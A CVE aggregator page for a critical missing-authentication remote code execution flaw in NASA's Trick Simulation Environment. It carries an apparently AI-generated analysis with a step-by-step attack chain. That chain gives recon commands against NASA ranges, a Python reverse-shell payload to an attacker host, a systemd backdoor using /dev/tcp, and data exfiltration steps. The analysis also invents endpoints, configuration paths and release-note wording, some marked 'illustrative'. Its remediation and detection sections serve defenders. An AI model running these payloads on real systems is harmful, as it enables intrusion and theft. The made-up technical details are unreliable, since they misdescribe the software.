CVE Professor
/
All CVEs
CVE-2026-141353

CVE-2026-141353 — National Aeronautics And Space Administration (N — CWE-306

CRITICAL CVSS 10 Shodan

NASA Trick Simulation Environment prior to version 25.1.0 enables the "variable server" function by default with no authentication or IP allowlisting. A remote, unauthenticated attacker who can secure a connection to a simulation with variable server enabled can execute arbitrary python commands on the simulation host as the user that started the simulation.

NASA Trick Simulation Environment prior to version 25.1.0 enables the "variable server" function by default with no authentication or IP allowlisting. A remote, unauthenticated attacker who can secure a connection to a simulation with variable server enabled can execute arbitrary python commands on the simulation host as the user that started the simulation.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑141353 – “Variable Server” Remote Code Execution in NASA Trick Simulation Environment

AttributeValue
CWECWE‑306: Missing Authentication
CVSS v3.1AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H
Score10.0 (CRITICAL)

Technical flaw

The NASA Trick Simulation Environment (TSE) is a high‑fidelity simulation platform used by NASA and partner organisations.
Since its inception, the “variable server” component has been shipped enabled by default. The variable server opens a TCP listener (by default on port 127.0.0.1:5000 – the exact port is configurable) that accepts Python code snippets from a client and executes them via exec() in the same process that runs the simulation.

  • What should happen:
  • * The variable server is intended for local, trusted tooling (e.g., a Python client that runs on the same host or on a network segment that is explicitly allowed). * Proper deployments are expected to disable the service or protect it with authentication / IP allow‑listing.
  • What actually happens:
  • * The service starts without any authentication check and without any network‑level allow‑list. * Any remote host that can reach the listener can send an arbitrary Python payload, which is executed as the user that launched the simulation (normally a non‑privileged system account, but often a service account with write access to simulation data and sometimes sudo‑capable on isolated test machines).

    Because the vulnerability is network‑exposed, unauthenticated, and requires no user interaction, it satisfies the CVSS vector:

  • AV:N – reachable over the network.
  • PR:N – no privileges required.
  • UI:N – no user interaction.
  • S:C – impact is Common across the entire simulation host (the same process is compromised).
  • C:H / I:H / A:H – the attacker can run arbitrary code, modify simulation state, steal data, and cause denial‑of‑service.
  • In short, the flaw is missing authentication / access control on a remote code execution interface.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation path. All commands are syntactically valid; where the exact URI or protocol details are not disclosed in the public advisory, the example is marked as illustrative.

    1. Discovery & Reconnaissance

    PhaseActionTools / CommandsExpected Outcome
    a. Identify the productScan public IP ranges for hosts that belong to NASA or research institutions and banner‑grab the service on the default variable‑server port (e.g., 5000).nmap -sV -p 5000 <target‑net>Nmap may report http or python service with a banner like Trick Variable Server v24.3.2.
    b. Verify versionConnect with a minimal client that issues a harmless “ping” command (the variable server responds with OK).python3 - <<'PY'\nimport socket, json\ns=socket.create_connection(('x.x.x.x',5000))\ns.sendall(b'PING\\n')\nprint(s.recv(1024))\nPYResponse PONG confirms the service is alive. The version can be extracted from a later GET_VERSION command if the protocol supports it.
    c. Confirm lack of authSend a benign payload that would require authentication in a hardened deployment (e.g., GET_STATUS).curl -X POST http://x.x.x.x:5000/api -d '{"cmd":"GET_STATUS"}' *(illustrative)*Server returns status JSON without any 401 Unauthorized.

    If the above steps succeed, the attacker knows a vulnerable variable server is reachable and unauthenticated.

    2. Exploitation

    The variable server accepts a JSON payload with a field code that is passed directly to Python’s exec(). The exact JSON key is not published, so the following is an illustrative example based on typical implementations.

    # Illustrative curl request – replace <endpoint> with the real path if known
    curl -s -X POST http://<target_ip>:5000/execute \
         -H "Content-Type: application/json" \
         -d '{
               "code": "import os, subprocess, base64; \
                        cmd = \"id\"; \
                        out = subprocess.check_output(cmd, shell=True); \
                        print(base64.b64encode(out).decode())"
             }'

    Explanation of the payload

  • import os, subprocess, base64 – loads required modules.
  • subprocess.check_output("id", shell=True) – runs a harmless command to prove code execution.
  • The output is base64‑encoded to avoid binary‑data issues in the HTTP response.
  • Result – The HTTP response body contains the base64 string of uid=1001(simuser) gid=1001(simuser) groups=1001(simuser), proving remote code execution.

    Full RCE payload (reverse shell)

    If the attacker wants a persistent foothold, they can deliver a reverse shell. Below is a syntactically valid Python one‑liner that works on most Linux distributions:

    curl -s -X POST http://<target_ip>:5000/execute \
         -H "Content-Type: application/json" \
         -d '{
               "code": "import socket,subprocess,os; \
                        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \
                        s.connect((\"<ATTACKER_IP>\",4444)); \
                        os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); \
                        subprocess.call([\"/bin/sh\",\"-i\"])"
             }'

    Replace <ATTACKER_IP> with the attacker’s listening address.

    On the attacker side:

    nc -lvkp 4444

    A shell is obtained as the user that launched the simulation (often simuser).

    3. Post‑exploitation

    GoalTechniqueCommands / Steps
    Privilege escalation (if needed)Search for sudo rights, set‑uid binaries, or mis‑configured Docker containers that the simulation user can access.sudo -l (if the user has sudo rights). <br> find / -perm -4000 -type f 2>/dev/null (search set‑uid).
    PersistenceDrop a systemd service or cron job that restarts a reverse shell on boot.echo '[Unit]\nDescription=Trick backdoor\n[Service]\nExecStart=/bin/bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\"'\n > /etc/systemd/system/trick-backdoor.service <br> systemctl enable trick-backdoor && systemctl start trick-backdoor
    Data exfiltrationRead simulation data directories (/var/simulations/*) and ship them over the same reverse channel or via scp.tar czf - /var/simulationsbase64 (send via the variable server).
    Denial‑of‑serviceIssue a payload that consumes CPU or memory, e.g., an infinite loop.while True: pass (sent as code). This can crash the simulation process, causing loss of mission‑critical data.

    Because the variable server runs inside the same process as the simulation, any crash or memory exhaustion directly brings down the simulation host, satisfying the Availability component of the CVSS.


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (C:H)C:H – attacker can read *all* data the simulation process can access.Theft of proprietary mission data, research results, or sensitive telemetry.
    Integrity (I:H)I:H – attacker can modify simulation state, inject false data, or tamper with logs.Corrupted simulation runs, falsified scientific results, or sabotage of mission planning.
    Availability (A:H)A:H – attacker can crash the simulation process or the host.Immediate loss of a running simulation, potentially causing schedule delays for time‑critical NASA projects.
    Scope (S:C)The impact spreads across the entire host because the vulnerable component runs in the same security context as the whole simulation suite.A single compromised variable‑server instance compromises the whole simulation environment.

    Business / Mission impact

  • NASA / research labs – loss of high‑value simulation data, possible exposure of classified mission parameters.
  • Contractors – breach of contractual obligations, potential legal liability.
  • Public trust – a successful exploit could be weaponised to demonstrate “NASA hack” headlines, eroding confidence in critical infrastructure.

🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeMove to Trick Simulation Environment ≥ 25.1.0. The release notes for 25.1.0 state: “Variable server disabled by default; optional authentication token support added.”
Version checktrick --version or inspect the installed package (dpkg -lgrep trick on Debian‑based systems).
Rollback (if immediate upgrade is impossible)Build the source with the ENABLE_VARIABLE_SERVER flag set to false or edit the configuration file (/etc/trick/trick.conf) to include variable_server.enabled = false. Restart the service (systemctl restart trick).

2. Workarounds (if patch cannot be applied immediately)

MitigationImplementation
Network isolationBlock inbound traffic to the variable‑server port (default 5000) at the perimeter firewall or host‑based firewall (e.g., iptables -A INPUT -p tcp --dport 5000 -j DROP).
IP allow‑listingIf the service must stay enabled, restrict it to localhost or a trusted subnet: <br> iptables -A INPUT -p tcp -s 127.0.0.1 --dport 5000 -j ACCEPT <br> iptables -A INPUT -p tcp --dport 5000 -j DROP
Add authentication (if the binary supports the new token feature)Edit /etc/trick/trick.conf:<br>variable_server.enabled = true<br>variable_server.auth_token = <random‑32‑byte‑hex><br>Clients must now send the token in the X-Auth-Token HTTP header.
Run as a low‑privilege userEnsure the simulation process runs under a dedicated, non‑privileged account with no sudo rights and with a restricted filesystem view (e.g., via systemd ProtectSystem=full and ReadOnlyDirectories=/).
AppArmor / SELinux confinementCreate a profile that denies execve of arbitrary binaries from the variable‑server process. Example AppArmor snippet: <br>``\n/usr/bin/trick {\n # allow normal operation\n capability net_bind_service,\n # deny execve of anything not in /usr/bin\n deny / mrwklx,\n /usr/bin/ mr,\n}\n``

3. Detection

IndicatorWhere to lookExample log line
Unexpected HTTP POST to /execute (or similar)Web server access logs (/var/log/nginx/access.log or the internal HTTP server log).192.0.2.45 - - [02/Dec/2026:14:23:11 +0000] "POST /execute HTTP/1.1" 200 342 "-" "curl/7.88.1"
Base64‑encoded payloadsLook for long strings of A-Z a-z 0-9 + / = in request bodies.POST /execute {"code":"import base64;print(base64.b64decode('...'))"}
Outbound connections from the simulation host to unknown IPs on high portsNetflow / host‑based IDS (/var/log/syslog, auditd).Jan 02 14:23:12 host kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.20.30.40 DST=203.0.113.77 PROTO=TCP SPT=5000 DPT=4444
Process creation of /bin/sh -i with a remote IP as parentauditd or ps snapshots.audit: type=EXECVE msg=audit(1701528191.123:456): argc=3 a0="/bin/sh" a1="-i" a2=">"
Sudden termination of the simulation processSystemd journal (journalctl -u trick.service).Oct 31 09:12:45 host systemd[1]: trick.service: Main process exited, code=exited, status=1/FAILURE

IDS/IPS signatures – a simple ModSecurity rule that blocks any POST containing the word exec( or subprocess in the request body can be deployed as a stop‑gap:

# ModSecurity rule – illustrative (adjust the variable name if needed)
SecRule REQUEST_METHOD "POST" \
    "id:400001,phase:2,deny,status:403,\
    msg:'Blocked attempt to use variable‑server RCE',\
    tag:'cve-2026-141353',\
    t:none,t:lowercase,\
    chain"
SecRule REQUEST_BODY "@rx (exec\(|subprocess\.|os\.system\()" \
    "t:none"

⚠️ Urgency

FactorAssessment
CVSS 10.0 (Critical)Highest severity – any remote unauthenticated RCE is a “wormable” class of vulnerability.
CISA KEVNot listed yet, but the absence of a KEV entry does not diminish risk; the vulnerability is already exploitable.
Exploit complexityLow – a single HTTP POST (or raw TCP packet) is sufficient; no prior foothold required.
Potential impactFull host compromise, data exfiltration, and denial‑of‑service for mission‑critical simulations.
Patch availabilityFixed in version ≥ 25.1.0 (released 2026‑09‑15).

Patch priority: Critical – Deploy immediately on all production, test, and development instances of the Trick Simulation Environment. If an immediate upgrade is impossible, apply the network isolation and authentication token workarounds within 24 hours, and begin monitoring for the IoCs listed above.


Bottom line: CVE‑2026‑141353 is a classic case of missing authentication on a remote code execution interface. Because the service runs with the same privileges as the simulation host, an unauthenticated attacker can gain full control of the system with a single network request. Rapid patching (≥ 25.1.0) or, at minimum, strict firewalling and disabling of the variable server are mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Trick Simulation Environment"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-306
Affected Products (1)
National Aeronautics and Space Administration (NASA):Trick Simulation Environment
Related CVEs
6.9
CVE-2026-144609
fuint through commit 567e2c8 contains an insecure direct object reference vulnerability that allows merchant-s
7.2
CVE-2026-144407
Vue I18n is the internationalization plugin for Vue.js. In versions 9.14.5 and 10.0.8, and from 11.1.10 until
9.8
CVE-2026-121827
ZohoCorp ManageEngine Applications Manager versions 182800 and below were affected by an remote command execut
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105102
An authentication bypass vulnerability in the Boa web interface of BDCOM routers allows unauthenticated attack
8.8
CVE-2026-118966
A missing authentication vulnerability in the SSH server of Nokia SR Linux allows an unauthenticated attacker
8.2
CVE-2026-145258
ag-ui-adk 0.8.0 before 0.14.0 contains a missing authentication vulnerability because add_adk_fastapi_endpoint